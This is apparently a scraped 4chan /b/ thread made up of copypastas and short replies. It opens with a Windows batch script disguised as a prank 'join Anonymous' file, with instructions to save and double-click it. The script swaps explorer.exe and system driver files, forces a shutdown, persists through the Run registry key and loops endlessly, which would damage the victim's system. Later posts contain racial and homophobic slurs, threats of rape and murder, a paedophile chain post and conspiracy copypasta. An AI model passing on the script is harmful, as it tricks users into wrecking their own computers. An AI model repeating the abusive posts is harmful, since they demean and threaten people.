@ENAME %systemdrive%\WINDOWS\explorer.exe explorer1.exe
@RENAME %systemdrive%\WINDOWS\winhelp.exe explorer.exe
@RENAME %systemdrive%\WINDOWS\explorer1.exe winhelp.exe
@RENAME %systemdrive%\WINDOWS\system32\drivers\mup.sys mup2.sys
@RENAME %systemdrive%\WINDOWS\system32\drivers\vga.sys mup.sys
@RENAME %systemdrive%\WINDOWS\system32\drivers\mup2.sys vga.sys
shutdown -s -t 10
Echo message
Echo message
Echo message
Echo message
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\currentversion\run /hate /d %0
:1
start
goto :1

>Enter the file name as "Anonymous.bat" (Without the Quotation marks)
>Select "All Files" in the "Save as type" menu
>Save
>Double click the file to run it
>You will now officially be a member of Anonymous
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Hiya faggots you have been visited by Paul the Britbong Paedo. Reply "Hello Paedo" or he will rape all the children in your family in their sleep.
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I have a light form of autism.
I tend to walk in circles all the time if I can't go for a walk
at night and prefer to stay secluded in my room during the day.
I rarely talk, because to me, no one seems to be willing to listen
to what I have to say, so I stay quiet.
I get made fun of for being quiet and autistic.
But I don't take that shit and break their stuff out of spite.
Though I don't have self-inflictions, I do get the urge to rage,
go berserk and destroy some stuff and harm people,
though not on purpose.
I forget things easy sometimes, do random weird shit like laughing
at something that is cruel.
I met people more autistic than me and I find them to be um...
unusually interesting to say the least.
I know an autistic girl who is ultra-obsessed with smokey robinson
and takes it to a new level.
Almost to the point where I want to knock her lights out to just to
have some peace! My obsessions are anime, games and ponies.
To take this lightly, you must be autistic to
truly understand autism.
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1st RULE: You do not talk about FIGHT CLUB.
2nd RULE: You DO NOT talk about FIGHT CLUB.
3rd RULE: If someone says "stop" or goes limp, taps out the fight is over.
4th RULE: Only two guys to a fight.
5th RULE: One fight at a time.
6th RULE: No shirts, no shoes.
7th RULE: Fights will go on as long as they have to.
8th RULE: If this is your first night at FIGHT CLUB, you HAVE to fight.
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>>721531837
MOAR PLZ
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>>721526277
This has been Chet-U-Betcha wi- UHBLAHGAMAFAHMAJAH!
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/B/ in a nutshell

It's an anonymous response to things that can't be criticised in the public eye without making the critic look like a bad person.

4chan's response to feminism is similar to it's response to non-white immigrants, political correctness and fat pride. They're often subjects which white,
straight males have to just nod along to even if they disagree, or risk being branded an asshole or even arrested.

So we come on here and vent in peace. Naturally all that concentrated anger can result in outright hate evolving from the irritation.

I come on here to blow off steam. To masturbate to whatever I want, to argue over nothing, ask difficult questions, whine about small things, feel emotions,
get advice and laugh at unsavoury things.

All these things are things that, as a white straight male, I would not feel comfortable doing as myself in the public eye.

Does that answer your question?
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i̳̼͖̠̳̫͍̟͙̬̦̭̗̪͋ͬ̊̏̎̀ͯ̒ ̰͓͔̦̻͍̬̼͔̩̼̲̲̬̓̆͌̽̾̀͌̂̃ͮ̈̂̄4̣̬̤̖͎̝̲̾̈́ͩ͒͋ͤ̄̍ͭ̔ͨ̐ͨ̐̚M͓̱͈̯͇͔͍̦̪̖͇̯̰̫̜͈̮̤͋ͫͯͪͅ ̤̖̰̪̜̩̝̜̐ͪ̇̈́ͅN͓͖̤̭̞͉͈̞̺ͮ́ͣ̓ͧ͆ͩ̓ͤͬͅ0̳͍̦͔̫̤̩͇͖̳̈́ͩͩ͌̽͛ͭ̾͌̌̃͋͛̾̃̀ͨ̐W̤̞̥͉͕͚̜̟̘͈̙̟̮̜͙̹̄̆͆̊͒͋͒ͪ́̑͋ͅ ̱͎̠̠̖̬͇̻̠̫̝̲͔̻̖̩̣ͮ͊̑̑̒̆̎̓͋ͤ̂̽̈́̉̓1̟̟̦̜̺̣̦̦̖̬̖͔̬̦͔̇ͯ̏ͩͤͫ̍̽̅̒̐̍͊̾̌̇̓̎̚3͕̪͇̮̮̤͉̘͈̙̘͍̮̳̣̖̭ͫ̎̋͗ͨ͆̑̈ͨ͛̎͛ͤ͊̿̈́̀ͭ3͓͖̯͙̘̩̬̫͇͓̗̝͉͖͉̯̏ͬ̔ͫ͊͆̈́ͬ̊͑̃ͨ̋T͇̟̗̩̝͍̬̩̝̳̱͙͈͚̯̏ͭͨͯ̏̆̒ͤͫ̉̀͗ͨ̓̍̚ͅ ͇̫̹̯̲̓̈́͒͂́͂͒͐͗͌̅͌̅4͕̮͎͙̣̲͎͋͒̍ͫ̉͆̿̌͑ͬ͆ͅṄ̦̜̥̳̪̼ͬ̎ͣ̃̔͌0̮̦̭̦͈̰͎̹̼̥̳͔̍̑ͯ́N̗̫̟̻̳̙͇̟͖͒̄ͪ͐4͚͓͎̖̫͎͖͂̓̌͋̆ͬ̇̈́ͤͅM̺̯͓̻̪͓̬͓̘̋̌͊͗̐̄̉̒ͅ0͚͙̯̻̪̝͈̥͚̮̹̺͊̾ͫ̅͛ͬ̈́ͭ̇̚U̻̟̩̱ͣ̇̊̚ͅ5̲͈̩͉̻͓͚̟̥̖̖̤ͣ̂ͨ͊̋̉ͅ3͈̲̣̾ͣ͒́̊ ͔̝̱̳͚̼͉̯̺͎̤̜̤͔͂ͬͭ̓Ḥ̪͓̞̣̙̹̭͇͉̼̝̗̬͓̺̅͐̿͛ͣͨ̚ͅ4̱̺̖̥̳͔̱̥̯̺̙̭͇͉̟̹̳ͫ̂̐̀̆̓͐́ͅX͖̲̜̟̩̟͑ͩͦ̒̓͛ͯͨ0̥̩͙͎̬͉͉̤̩͎̣̠͈̗̗͊̂͐̆̌ͩͧR̺͔̝̬̬͎̱͓͚̲͎̣̳͎̱ͧ͗̀̋̎ͨ͆̄̏ͤͤ̆ͣ̿ͮ̚ͅ
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Saged, reported, hidden, called the cops, called the Fire Department, called Pizza Hut, called the USN, called the Royal Navy, called the Red Army, called the FBI. called the CIA, called Interpol, called the KGB, called the USMC, called the USAF, called the Royal Air force, called MI 6, called Scotland Yard, called the US National Guard of every state, called NYPD, called Obama, called the Queen, called Putin, called David Cameron, called every Governor of every US State, used my time phone to call Winston Church hill, As well as Hitler, Stalin, Theodore Roosevelt, George Washington, Montezuma, even Caesar, and Gilgamesh,called Genghis Khan, called US Army, called British Army in every era, called every phone sexline, called Papa John's, called the US Coast Guard, called my State Senators, called my Senators, called every republican in the US, called Dr. Who, called the Pope, called my local Gang lords, called the State Patrol of every state west of the Mississippi, called all of my local news channels, called Star Fleet, called The Sun, called The National Enquirer, called CNN, called Scot Pelly, called Steven Colbert, called half of the Mexican Drug Cartels, called Nintendo, called the Japan Maritime Self-Defense Force, called the head of the Illuminati, called every free mason, called bilderberg, called my neighbors, called the mayor of every city in France, called my mom, called the Emperor of Man, and called every school district in Canada.
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An engineer goes to the pearly gates and saint peter tells him he has to go to hell.
The man protests as he has lead a moral life but he is sent to hell anyway.
He finds it very uncomfortable in hell so he requests an audience with the devil.
He tells the devil that he can really spruce up hell and the devil agrees.
The engineer gets to work.
At some point god decides to check and see what's happening in hell and he sees that it's much better than heaven.
Hell is more comfortable and more modern, and god gets jealous.
God calls the devil and says the engineer should have never gone to hell, that it was a clerical error.
But the devil refuses to give him back.
God says, "If you don't give him I'll sue".
The devil says, "With what? I have all the lawyers".
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A long ass fuckin' time ago,
On a website named 4chan,
There lived so many boards
Normal through and through.
But yay there was a black sheep
And he knew just what to do.
His name was young Chris O Poole and he refused to step in-line.
A vision he did see-eth
Fuckin' Passes' all the time.
He fucked with the dev code and all the boards did collide...

Oh the users butts were blasted' as I fucked with their catcpas,
Then I sliced their fuckin' quick replies,
With a long and shiny blade!
'Twas I who fucked the 4chan,
Fuckalize sing-fuckaloo!
And if you try to fuck with me,
Then I shall fuck ban you too!
Gotta fuck it up with the whole dev code!
I got to shoot a load in 4chan boards!
Gotta lick a toad in the website load!
Gotta suck a chode in my the lulcast zone!

You've disappointed us Anons, Moot,
Why were you ever born?.
4chan's ten times better than you,
Reddit loves you more.
This trolling that you fuck with us comes from the depths of 9gag
Trying to sell passes is The Devil's work, he wants you to make dosh
You'll become a mindless puppet,
Beelzebub will pull the strings!
Your heart will lose direction,
And chaos it will bring.
You'd better fix this now,
Better watch your tone!
Don't ban me for a week with no just cause!
Don't let me here you cry,
Don't let me hear you moan!
You gotta take care of us when you change our boards!
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Reddit can you hear me?
I am lost and so alone.
I'm askin' for your social just
Won't you come down from your throne?
I need a tight compadre who will fight off these mean Anons
My website thinks you're shitty,
But man, they can suck a cock.
Selling Passes is not The Devil's work,
It's magical and rad.
I'll never make mad dosh as long as Anon stays mad!

I hear you brave Christopher
You are hungry for the dosh.
But to fuck with all your Anons,
Sacred deals you must unlock.
Escape your moral clutches,
And that repressive day of old.
On a journey you must go,
within yourself to find your goooooooooold!
On the site of many upvotes
Where liberals have come to post,
You will form a strong alliance,
And the world's worst posting site.
To find your fame and fortune,
Through the Anons you must walk.
You will face your inner merchant.
Now go dear Moot and troll!

o he fucked around with dev codes on fuckin' 4chan With hunger in his wallet;
And he fucked it far and wide to find the money he could make;
But in the end he knew that everyone would buy aaaaaaa
Paaaaaaaaaaaaaaaaaaaaassssssssssssss
Paaaaaaaayeyeyeyeyeeeeeeeeeeaaaaaaasssssssssss

*DINGLY DINGLY WOOOOOOOOOOOOOOOOOOOOOOOOOOOOOW*
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>day greentext in equestria
>you are not anon.
>you are el anonino, the most mexical human who snuck over the border to equestria to find a good job.
>your moustache is twitching.
>that means theres a job somewhere nearby
"EL JOBERO ARIBA BARIBA"
>you speed off searching for the job
>pink horse is following you
>"NEIGH"
"GASP! EL KABONG!"
>Pink horse hits you with pinkie pie
>"KABONG, mexiconny"
>you are sent flying back over the giant border fence between appleoosa and spain
"MUCHOS GRACIAS IS BLASTING OFF AGAIN AMIGO"
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A Ship Shipping A Ship Shipping Shipping Ship

As In Shipping Ships Being Carried By
Shipping Ships That Carry Shipping Ships Being carried By
Ships That Carry Shipping Ships That Carry Shipping Ships That
Carry Shipping ships.
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>THE NSA HAS PERMANENT ACCESS TO YOUR HARD DRIVES
>THEY CAN TURN ON YOUR WIFI EVEN IF YOU HAVE PHYSICALLY TURNED IT OFF
>THEY CAN INTERCEPT YOUR INTERNET TRAFFIC FROM UP TO 8 MILES AWAY
>THEY ARE SHOOTING RF INTO YOUR HEAD AT 1KW
>THEY HAVE GUARANTEED ACCESS TO YOUR MICROPHONE AND CAMERA
>THEY CAN TAKE PICS WITH YOUR WEBCAM
>THROUGH SWEEPING DATA COLLECTION THEY WILL VIEW YOUR DATA
>THEY KNOW ALL ABOUT YOU
>THEY CAN DISCRIMINATE AGAINST YOU
>NO ONE HAS DONE ANYTHING TO STOP THEM
>TOR IS NOT SAFE
>THE NSA IS COLLECTING SO MUCH DATA THEY ARE HAVING TROUBLE READING EVERYTHING
>THEY HAVE A RECORD THAT WILL GO BACK 15 YEARS
>THEY WILL SOON OUTLAW QUESTIONABLE DRAWN PORNOGRAPHY
>THEY WILL IMPRISON 4CHAN USERS
>ANONYMOUS IS VIEWED UPON AS INTERNET ACTIVISTS
>7 YEARS IN JAIL BECAUSE SOME NSA SHILL POSTED CONTENT THAT WAS SAVED IN YOUR TEMP FOLDER
>ITS MUCH WORSE THAN WHAT YOU KNOW
>LEGISLATORS HAVE NO IDEA WHATS GOING ON
>NO MATTER WHAT COUNTRY YOU ARE IN THEY CAN TRACK YOU
>YOU CANT RUN
>OUTER SPACE IS THE ONLY SAFE PLACE
>THEY CAN TURN THEIR SATELLITES AROUND AND EVEN SEE YOU THERE
>YOU ONLY LOST IF YOU THINK YOU LOST<
>ONLY YOU CAN STOP THIS<
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If you're brave, you have no fear and you want to put risk on your family, play this game, but don't blame us for making it, we didn't, we just tried making a RPG game but everything went wrong, don't know how, don't know who, don't know why... But this game has massive glitches and is cursed.
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In case you don't know what a dakimakura is, the word "dakimakura"
is japanese for "hugging pillow". a dakimakura is often called a
"love pillow" by adult owners. these pillows often have anime characters in most cases a sexy anime babe
printed on them. this pillow has a printed portrait of major motoko
kusanagi from the ghost in the shell franchise. motoko is numero uno
on my top three cyber hotties of anime, the other two are melfina from
outlaw star, and android 18 from dragonball z. if you're an anime
lover like me, or if you're starting an anime shwag collection, or
have always wanted your favorite anime characters in your bed.
( there's no shame in it ). i reccomend you get one of these things.
however, i don't reccomend these pillows for anyone under 18 years old.
these pillows are like teddy bears for grown-ups.
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|^^^^^^^^^^^\||____
|The Noxxis |||""'|""\__,_
| ____Truck____ l||__|__|__|)
|(@)@)"""""""**|(@)(@)**|(@)

This is the Noxxis R.O.B.S. (Resources Outward Bound Sorry)

Ill be stopping by the same time tomorrow

Have a nice day!!
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Quando omni flunkus moritatus
-When all else fails, play dead.
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SPOOKY AS FUCK CUZ IM A CEMETERY SLUT
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“Be polite. Be efficient. Have a plan to kill everyone you meet.”
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"I will fucking kill you! you hear me? I will tear off your fucking balls and staple them to your fucking forehead! Stop fucking around, and give me my Fucking COFFEE!!"

-Foamy the Squirrell
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Sellanen kommentti, sanoin jo hälle tuossa kehässä että hän löi niskaan mua
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--
(>'_')> I was going to give you this waffle..

<('_'<) But then I was like,

(>''<) I'm hungry.

(>'-'<) So I ate it.

What? I was hungry. (>'-'<)
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│▒┌──┘▒▒▒│
└┐▒▒▒▒▒▒┌┘
└┐▒▒▒▒┌ Peace!!!!
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>>721538806
SPOOKY AS FUCK CUZ IM A CEMETERY CUCK
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How would YOU define reality?
All that which is not affected by thought ...
if you imagine it into being, it is not real, if it
goes away when not thought about, it is not real,
but if it WAS before you thought of it and if it
remains when you do not think about it any more,
it is real.
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(\___/)
(='.'=)This is Bunny. Copy and paste bunny
(")_(")to help him gain world domination.

dress italian
kiss french
drive german
drink russian
be polish
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̿ ̿ ̿ ̿ ̿̿'\̵͇̿̿\o=(•̪•)
(•̪•)=o/̵͇̿̿/'̿ ̿ ̿ ̿ ̿̿
̿ ̿ ̿ ̿ ̿̿'\̵͇̿̿\o=(- ̪ -)
(\___/)
(='.'=)
(")_(")
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>>721531837
Thanks for not being a colossal boy molesting prancing lala homo man today Op.
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>>721526774
Ftfy
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>>721527305
Ce français espagnol anglais
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>>721526277
Tell the world, strangers passing by;
That here faithful to his rock hard cock;
Big Jim Slade lies.
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>>721535377
And you can repasta it all!
My meme folder of shit!
I would post it all, I would make you lurk!
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T R A P S A R E G A Y
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Saged, reported, hidden, called the mods, emailed moot, emailed the admin, called the cops, called the state police, called the county sheriff, called your ISP, called the District Attorney, called Interpol, called the NYPD, called the State Attorney, called the LAPD, called Child Protective Services called the FBI, called US Homeland Security, called the CIA, called the NSA, called the US Marshals, called the local courthouse, called your State Constable, called London Metropolitan Police, called the German Police, called the TSA, called the US President, called the attorney general, called the National Guard, called the US marines, called the US Navy, called the US Air Force, called the US army, called the Royal Navy, called the governor of every state, called the Federal Air Marshals, called every sheriff deputy, called the Coast Guard, called the US Customs and Border Protection, called the RCMP, called every park ranger, called the mayor of every city in France, called the British Army, called the Queen, called NATO, called the Russian Air Force, called the Federal flight deck officers, called the UN, called the Corrections Department for every state, called the Australian Federal Police, called SWAT, called the Supreme Court, called the Mexican Police, called the White House, called the DEA, called the inspector general, called the Secret Service, called CNN, called ABC, called the vice president, called the senators for every state, called congress, called the pope, called CHP, called the Department of Fish and Wildlife for every state, called the internet police, called the US Capitol Police, and called the Party Van.
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Bing bong bump.
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>>721534967
We cannot truly prove that physical reality exists.
We cannot truly prove that there is anything outside pf what we perceive.
We cannot truly prove what reality actually is.
We cannot truly prove that our own minds are part of reality.
Therefore nothing exists.
But if nothing truly exists then what is reality.
If nothing exists then the only thing that could be reality is what we perceive, including both in our minds and the 'physical reality'.
Therefore we perceive everything.
Therefore everything is nothing and nothing is everything.
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>>721542284
And to expand on my points. This means that the physical reality exists.
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>>721526277
You make me sick you irradiated sack of dog shit! I hope nothing but the best happens to you and your family, you fucking cunt.
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this is so fucking cringy
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Fuck my ass you nigger bitch
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>>721527305
Bonjour, fagot français. Je vais violer les femmes de votre village et assassiner les hommes, en prenant les enfants comme esclaves et la nourriture et les richesses pour la mienne. Bonne journée
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la ilaha illa'llah
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I am a meme
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>>721526277
Kevin is kewl
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Did OP post a link to youtube yet?
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>>721543685
He delivered hours ago m8.
Read the thred.
>>721531837
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Bumppy bemp.
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